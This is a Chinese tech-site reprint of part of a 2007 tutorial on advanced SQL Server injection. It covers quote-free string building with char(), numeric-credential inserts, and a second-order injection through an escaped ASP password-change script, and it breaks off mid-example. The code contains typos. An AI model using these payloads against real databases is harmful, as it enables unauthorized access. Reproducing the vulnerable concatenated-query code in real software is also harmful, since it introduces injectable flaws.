科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道SQL Server应用程序高级SQL注入(下)(5)

SQL Server应用程序高级SQL注入(下)(5)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到:

作者:gaoyuanan 来源:赛迪网技术社区 2007年9月7日

关键字: 注入 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件

[高级SQL注入]

通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。

在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。

[没有单引号的字符串]

有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:

function escape(input) 
input=replace(input,"''","''''") 
escape=input 
end function

无可否认地这防止了我们所有例子的攻击,再除去'';''符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。 如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:

insert into users values(666, 
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
 char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), 
0xffff)

这就是一个能够往表中插入字符串的不包含单引号的查询。

淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:

insert into users values(667, 
123, 
123, 
oxffff)

SQL SERVER自动地将整型转化为varchar型的值。

[Second-Order SQL Injection]

即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。

例如,攻击者可能利用下面的信息在应用程序中注册:

Username:admin''— 
Password:password

应用程序正确过滤了单引号,返回了一个类似这样的insert语句:

insert into users values(123,''admin''''—'',''password'',0xffff)

我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:

username = escape( Request.form("username") ); 
oldpassword = escape( Request.form("oldpassword") ); 
newpassword = escape( Request.form("newpassword") ); 
var rso = Server.CreateObject("ADODB.Recordset"); 
var sql = "select * from users where username = ''
" + username + "'' and password = ''" + oldpassword + "''"; 
rso.open( sql, cn ); 
if (rso.EOF) 
{ 
…

设置新密码的代码如下:

sql = "update users set password = ''" + newpassword + "
'' where username = ''" + rso("username") + "''" rso("username")
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章